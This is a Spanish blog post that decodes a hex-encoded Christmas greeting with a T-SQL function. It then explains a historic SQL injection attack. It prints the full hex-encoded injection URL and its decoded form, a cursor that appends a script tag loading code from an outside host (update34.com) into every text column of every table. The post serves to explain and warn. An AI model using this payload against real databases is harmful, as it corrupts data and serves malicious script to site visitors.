f3|1z 4ñ0 nu3v0 | Descifrando el mensaje navideño en hexadecimal con TS-SQL

Estaba actualizándome con los post de Geeks.ms leyendo desde mi lector RSS, y di con el regalo para Rodrigo Corral:

Dada una cadena hexadecimal un mensaje de felicidades (mm habría que ver o es un listado de receta de comida para fin de año je!)

La cadena:
%46%65%6C%69%63%65%73%20%46%69%65%73%74%61%73%2C%20%63%61%63%68%6F%20%66%72%69%6B%69%21%20%41%68%6F%72%61%2C%20%64%65%6A%61%74%65%20%64%65%20%74%6F%6E%74%65%72%69%61%73%20%79%20%76%65%74%65%20%61%20%65%6D%62%6F%72%72%61%63%68%61%72%74%65%20%75%6E%20%70%6F%71%75%69%6E%21%21%20%4B%65%65%70%20%52%6F%63%6B%69%6E%27%21%21

S bien esto es muy friki (al igual que el titulo de este post) como bien lo dice el mismo, recordé un post anterior post anterior:

Donde gracias a este tipo de cadenas un atacante puede utilizar SQLInjection, así que veremos como es la idea… con esto de jugar en hexadecimal

 

Decifrando el mensaje navideño…

Rodrigo nos invita a descifrarlo… asi que utilizo una función del SQL SERVER o sea con TS-SQL

Para ejecutar la función:

SELECT CONVERT(VARCHAR,dbo.[HexaToString]('%46%65%6C%69%63%65%73%20%46%69%65%73' +
      '%74%61%73%2C%20%63%61%63%68%6F%20%66' +
      '%72%69%6B%69%21%20%41%68%6F%72%61%2C' +
      '%20%64%65%6A%61%74%65%20%64%65%20%74' +
      '%6F%6E%74%65%72%69%61%73%20%79%20%76' +
      '%65%74%65%20%61%20%65%6D%62%6F%72%72' +
      '%61%63%68%61%72%74%65%20%75%6E%20%70' +
      '%6F%71%75%69%6E%21%21%20%4B%65%65%70' +
      '%20%52%6F%63%6B%69%6E%27%21%21'))

También hice unas modificaciones para que funcione de esta forma

SELECT CONVERT(VARCHAR,dbo.[HexaToString]('46656C6963657320466965737461732C20636163686F206672696B69212041686F72612C2064656A61746520646520746F6E74657269617320792076657465206120656D626F72726163686172746520756E20706F7175696E2121204B65657020526F636B696E272121'))

Aquí esta el script de función que nos da el resultado de pasar lo que estaba en hexadecimal a algo entendible 🙂

CREATE FUNCTION [dbo].[HexaToString](
      @cadenaHexadecimal varchar(max)
    )RETURNS varbinary(max)
AS
BEGIN

    DECLARE @itemHexa AS varchar(2)
    DECLARE @posicion AS int
    DECLARE @contador AS int
    DECLARE @resultado AS varbinary(max)
    DECLARE @caracteres AS int

    SET @contador = LEN(@cadenaHexadecimal)
    SET @resultado = CAST('' AS varbinary(1))
 
    
    SET @caracteres = 0
    IF ((SELECT CHARINDEX('%', @cadenaHexadecimal)) > 0)
        SET @caracteres = 1

    IF SUBSTRING(@cadenaHexadecimal, 1, 2) = '0x'
        SET @posicion = 3 + @caracteres
    ELSE
        SET @posicion = 1 + @caracteres

    WHILE (@posicion <= @contador)
    BEGIN
        SET @itemHexa = substring(@cadenaHexadecimal, @posicion, 2)
        SET @resultado = @resultado +
                        CAST(CASE WHEN SUBSTRING(@itemHexa, 1, 1) like '[0-9]'
                            THEN CAST(SUBSTRING(@itemHexa, 1, 1) as int)
                            ELSE CAST(ASCII(UPPER(SUBSTRING(@itemHexa, 1, 1)))-55 AS int)
                        END * 16 +
                        CASE WHEN SUBSTRING(@itemHexa, 2, 1) like '[0-9]'
                            THEN CAST(SUBSTRING(@itemHexa, 2, 1) as int)
                            ELSE CAST(ASCII(UPPER(SUBSTRING(@itemHexa, 2, 1)))-55 AS int)
                        END AS BINARY(1))

        SET @posicion = @posicion + 2 + @caracteres

    END

    RETURN @resultado

END 

 

Yo ataco, tu atacas, el ataca…?

Bueno como decía hace un par de meses algunos  eran de este estilo…

http://www.midominio.com/pagina.aspx?algunid=666;DECLARE @S VARCHAR(4000);SET @S=CAST(0x4445434C4152452040542056415243
48415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F52205345
4C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69
643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78
747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20
5461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E204558454328
27555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B
272B40432B275D29292B27273C736372697074207372633D687474703A2F2F7777772E75706461746533342E636F6D2F622E6A733E3C2F73637269
70743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F53452054
61626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F7220 AS VARCHAR(4000));PRINT(@S);--

Aquí la ultima parte en el script es:   

EXEC(@S);--

En vez de:

PRINT(@S);--

(gracias a Pablo Hawkes que se percato que “por las dudas” coloque lo menos intrusivo posible el script je)

El resultado de esto es:

DECLARE @T VARCHAR(255), @C VARCHAR(255) 

DECLARE Table_Cursor CURSOR FOR
  SELECT
        a.name,b.name
        FROM sysobjects a,syscolumns b
        WHERE a.id=b.id AND a.xtype='u'
              AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)

OPEN Table_Cursor

FETCH NEXT FROM Table_Cursor
    INTO @T,@C
WHILE(@@FETCH_STATUS=0)
      BEGIN
            EXEC('UPDATE ['+@T+'] SET
                        ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<script src=http://www.update34.com/b.js></script>''')
            FETCH NEXT FROM Table_Cursor
                  INTO @T,@C
      END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor

 

 

Mas info en el articulo de Gustavo

Y como estamos con esto de SQLInjection, dejo unos articulo en Geeks.ms (con buenos enlaces)

 

Mas enlaces